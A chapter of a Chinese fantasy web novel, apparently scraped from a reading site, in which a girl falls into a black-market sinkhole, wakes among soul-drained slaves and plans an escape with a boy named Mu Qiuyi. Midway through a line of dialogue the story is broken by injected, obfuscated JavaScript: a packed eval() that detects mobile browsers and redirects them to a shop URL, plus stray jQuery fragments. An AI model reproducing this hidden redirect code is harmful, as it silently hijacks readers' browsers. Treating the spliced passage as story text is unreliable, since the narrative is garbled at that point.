默认冷灰
24号文字
方正启体

5. 碎成泥

作者:穷人春天本书字数:K更新时间:
    撞进墙里后,杧杧似乎来到一处陌生空间,这儿比巷子里还黑,她竟有些看不清,只能判断出自己在一条甬道里。


    往前走了几步,杧杧感受到前方的亮光,渐渐能看清楚路,她朝亮光处走去。


    路越来越开阔,走到尽头后,映入眼帘的是一方高不见顶深不见底的天坑。


    人工凿出来的一人宽的路一层一层盘旋在石壁上,每隔一段距离就连接一个洞口,这些洞口通过索道互相连接,整个天坑像个盘丝洞。


    “让让,让让,堵在这儿干嘛呢!”


    杧杧错身让开,只见身后是拉着辆木板车的青蛙怪,车上载了两桶腥臭的鱼。


    青蛙怪绕过杧杧,他站在路边,往脚边一个小坑里扔了块铜钱,不多时,下面升上来一块木板,看样子只够一个人站。


    正当杧杧思考他要怎样把车一起走时,那青蛙怪伸出长舌一卷,将木板车和木桶一整个塞进肚子里,便乘着木板在索道上穿梭,进了另一个洞口。


    杧杧目瞪口呆,确实没想到是这样的。


    青蛙怪之后,这个天坑仿佛一下子热闹起来,形形色色的妖怪、人类,甚至修仙者、鬼魂,都在索道上四处穿梭。


    知道怎样在这里通行后,杧杧也站到刚才青蛙怪站过的位置,从乾坤袋里掏出一小块金子丢进去。


    几乎是丢下去的瞬间,就升上来一辆座椅。没错,并且是一辆黄金座椅。


    杧杧试探地坐上去,还没坐稳,座椅就沿着索道直直往上走。杧杧差点摔下去,好在她立即抓稳了扶手。


    行进速度很快,不久后,座椅便停在一个洞口外。杧杧下了“车”。她这时已经在很高的位置了,朝下望甚至看不见先前站的地方。


    这上面洞口稀疏了不少,几乎没有人在这上面穿行。


    杧杧走进洞里,走过一节不长的的甬道后,又是一番豁然开朗的景象。


    这里像是一间会客厅,装潢布置比北丏山的水榭好到不知哪里去了。


    虽在洞内,却有水池假山,茶几、屏风更是样样不少。


    杧杧不知那黄金座椅把她送到这儿来干嘛,她在这里逛了逛,桌子椅子都一尘不染,花几上摆放的稀奇古怪的盆栽也被照顾得很好。


    突然,杧杧背脊一阵发凉。这感觉太熟悉了,每次背脊发凉,就会有不好的事发生。她连忙给自己贴上隐身符,躲到一旁假山后面。


    隐身符顾名思义隐身,身型、气息通通能隐藏。


    果然,就在杧杧刚躲进去后,洞口又进来两个人。其中一个手持折扇,面上戴着鬼怪面具。另一个身着黑袍,头戴斗笠,背对杧杧而站。


    那两人说话声音小,杧杧听得不太清楚,她探出身子,零零星星能听到几个字词。


    “……上一批……三十六洞……”


    “…知道了。”


    “嗯……有人。”


    杧杧下意识藏回去,努力稳住心神。听着脚步声的动向,应当是有个人离开了。而另一个人,现在还站在原地。


    刚要松一口气,突然,脚步声再次响起,越来越近,但只走了几步又消失。杧杧有些疑惑,想探头出去再看一眼。


    “抓住你了!”


    一个人影突然跳到她面前。


    杧杧下意识要尖叫,又赶紧捂住嘴。她盯着近在咫尺的鬼怪面具,思考要怎样逃出去。


    “哈哈哈。”那人仿佛见到什么好玩的东西,从杧杧身后的假山上摘下一朵花别再耳后,展开扇子遮住下半张面具脸,大笑起来。


    杧杧乘机往洞口处跑。


    回头望时,面具人仍旧在原地大笑。


    杧杧跑出去后,就要从乾坤袋里拿金块投进小坑里,还没来得及拿出来就被人从背后推了一把,往下掉去。


    她耳边穿行着风,听不见别的声音了,回头望去,只见那原本为哭脸的鬼怪面具竟露出狰狞的笑容。


    天坑里纵横交错着索道,上面还有穿行的妖怪。杧杧被撞得晕过去,连自己什么时候落到地上都不清楚,在昏迷前也只觉得下落过程好漫长。


    梦中世界迷离魔幻,身体却一点也动弹不得。


    杧杧站在一片雪原上,四周空荡荡的,天上正飘着雪花。奇怪的是,杧杧居然感觉到冷,她以往从不怕冷的,这会儿却被冻得瑟瑟发抖。


    偏偏她好像被定住了似的,像根木头桩子杵在原地。站了许久,杧杧有些困。


    风雪越来越大,冷风刮在脸上如刀割,渐渐地,眼睛也被风雪迷得看不清。


    她疲惫地闭上眼。


    “杧杧!”


    谁在叫她?


    杧杧睁眼看了看,视线范围内没有人,有的只是雪,很大的雪。


    她正欲再次睡去。


    “杧杧!”


    声音再次出现。


    这回,杧杧隐约看见前方黑黝黝的有棵树。


    越来越近,越来越近。直到她能清晰看见,原来不是树,是位佝偻着身躯的老人。


    爷爷!


    杧杧看清楚了老人的脸,是凛!


    可她说不出话,喉咙像被人割破了似的,发不出一点声音。杧杧着急地眼泪掉下来,她多想见见爷爷,多想同爷爷说说话。


    凛站在离杧杧还有三步远的距离就不动了。杧杧的眼泪越来越汹涌,一定是爷爷没见过她长大的样子,才没认出来的。


    雪太大了,像羽毛一样一直飞一直飞,又像石子,落在身上砸得生疼。


    杧杧看着那张苍老的面孔越来越模糊,她急得不行,可是又无能为力。


    为什么?为什么在梦里也不让她同爷爷说说话,也不让她如愿?


    终于,凛彻底被大雪淹没。


    “啊啊啊!”杧杧冲破束缚般崩溃大叫。


    风雪掩盖了一切,她猛然惊醒。


    杧杧的头像是要炸裂开来,她重重地喘息,一点点挪动僵硬的头部四处张望。


    这是另外一个岩洞,岩壁上亮着闪烁的烛火,昏昏暗暗,一点不似方才的会客厅明亮。气味也相当难闻。血腥味、汗味以及排泄物的气味混杂在一起,杧杧一阵恶心。


    好在没死。


    应当是她在坠落时紧急从包里翻出防摔符、吊命符、治愈符(这种直白的名字当然是杧杧方便记忆想出来的)起了作用,才不至于摔死。


    “咦,你醒啦?”


    杧杧转过头,面前是一张占满泥土的脸,瞧着是个年纪不大的少年,十五六岁,他头发乱糟糟,衣服也破破烂烂,眼睛却十分明亮。


    本来想问点问题,可喉咙间是干的,她说不出来话,下意识吞咽的口水也是铁锈味。


    杧杧手臂撑着地面,在少年的搀扶下坐起来。她摸了摸腰间,乾坤袋没有丢,只是有些磨损。她的样子比那少年好看不了多少,浑身都是血,看不清模样,但是没有伤。


    洞里不只有他们两个,缩在角落里的男女老少,仙妖人兽皆有。


    “他们都是黑市主抓来的奴隶。”那少年向杧杧解释道。


    仔细一看,那些奴隶双眼空洞,保持一个动作呆滞地缩在角落里,不说他们是活的,还以为是一堆石头。


    杧杧口渴得不行,从包里找出水壶,一口气灌了半壶下去,感觉好了不少。


    “你是谁?”杧杧问。


    “我叫木秋宜,在家中排行第四,你可以叫我木四。”


    好秀气的名字。杧杧想。


    “我晕过去多久了?”


    “从我捡到你到现在,好几天了吧!”木秋宜很兴奋的样子,“你恢复得好快!我本来以为你肯定活不成了,毕竟骨头都摔断了!”


    “谢谢你,我叫杧杧。”


    “诶,你为什么会从上面掉下来?”木秋宜好奇道。


    杧杧把她从抓小偷到被推下来整个过程简单说了下,自己说完都觉得自己命大,她本来也觉得自己怕是活不成了。


    忽然想起常朔,杧杧扒开袖子看了眼手背上的水纹印记。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059232|194976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哦,对了,我前些天看你手上这个东西一闪一闪的,没事吧?”


    “嗯。”


    杧杧想起常朔说的这个水纹印记能随时跟他联系,本来打算每天都跟常朔汇报行程的,可一晃十几天过去,连话都没说上一句。


    听木秋宜这么说,应当是摔下来时不小心触发了。


    杧杧在衣服上揩了揩手,看上去勉强没那么脏,想了想,又用袖子擦擦脸,这才用手指碰了碰印记。


    只见那印记立马显出微弱蓝色光芒,随后,杧杧听到了久违的声音。


    “杧杧?”常朔的声音听着有些虚。


    这声音只有她自己能听见,因为常朔在用读心术跟她交流。


    “是我。”杧杧曲起双腿抱住,头埋在膝盖之间,在心里应道,“阿朔你怎么了?”


    “无妨,能动吗?”他的声音恢复正常。


    “能。”杧杧忽然有个猜测,“阿朔,是你治好我的吗?”


    “起来吧,从这里出去。”常朔没有回答这个问题。


    虽然他没回答,但杧杧心底是肯定答案,就是不知常朔怎样做到的。


    “这里的其他人怎么办?”


    “除你身旁那个,其他都是活死人,不用管。”


    “活死人?”


    “嗯,被抽干魂魄,肉身不死的一种傀儡,与死人无异。”


    杧杧有些惊讶,她转头过去看那些“活死人”,脸上没有意思表情,即使身处这样又脏又乱的地方,也全然没有痛苦难过之色。


    她心知这些人没法救了,便从地上爬起来,拍拍衣服上拍不干净的灰尘。


    “你干嘛?”


    “出去。”


    木秋宜刚才一直在观察杧杧,见她埋着头一句话都不说,还以为摔傻了,现在一听,更加肯定这姑娘是摔傻了。


    “木四,你要跟我一起走吗?”


    “走?来了这儿就别想走了,根本没可能。我都不知被关在这儿多久了。


    “这坑里地形复杂,光是洞口就有几百个,黑市买卖场更是数不胜数。且每个洞口都通向不同的地方,能出去固然好,若不小心进了某个买卖场,那才叫完蛋。”


    木秋宜靠在石壁上,神色晦暗,“你也瞧见这些人了,他们全都是被抽干了灵魂的!


    “那妖怪每个月都会送来一批新的奴隶,然后就在这儿生生抽取他们的魂魄,我可是亲眼所见!对,那个妖怪也带着哭脸鬼面!”


    听他这么说,杧杧判定这两个应当是同一人。


    “你是怎么活下来的?”杧杧又问。


    “简单,我有种药丸,吃了会陷入假死状态,能维持三天,完全够躲过那妖怪。”木秋宜神神秘秘地说,“更厉害的是,这种假死状态发作起来跟那群被抽了灵魂的奴隶一个样,他自然分不出来。


    “不过,我的药也快吃完了,不知还能熬多久。”木秋宜说到这儿,叹了口气。


    杧杧从没听说过这种药,又在心里跟常朔求证一番。


    “听说过。”常朔道,“带他一起万事小心。”


    “嗯!”杧杧跟常朔聊完,又去跟木秋宜说话。


    “既然这样,你还是跟我一起走吧!总不能一辈子困在这里,我们肯定能出去的!”


    见杧杧肯定的样子,木秋宜有些心动。


    “行。”说着,木秋宜动手解开了他脚上的镣铐。


    刚想去找块石头什么的帮木秋宜砸开镣铐的杧杧见状,不由得一愣。


    “厉害吧?我的看家本领。以前我爹栓我比这还狠,次数多了也就知道怎么开了。”木秋宜说到这儿,先前还神气的脸又有些垮下来,不过很快,他又恢复一脸笑嘻嘻的模样。


    正当他们准备离开时,那些石头般的活死人,突然有了动作。只见原本靠在石壁上或坐着或躺着的活死人,此刻全都站起身来,朝他们走去。


    “不是说他们与死人无异吗?”杧杧皱起眉。


    “有人在操控这些活死人!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)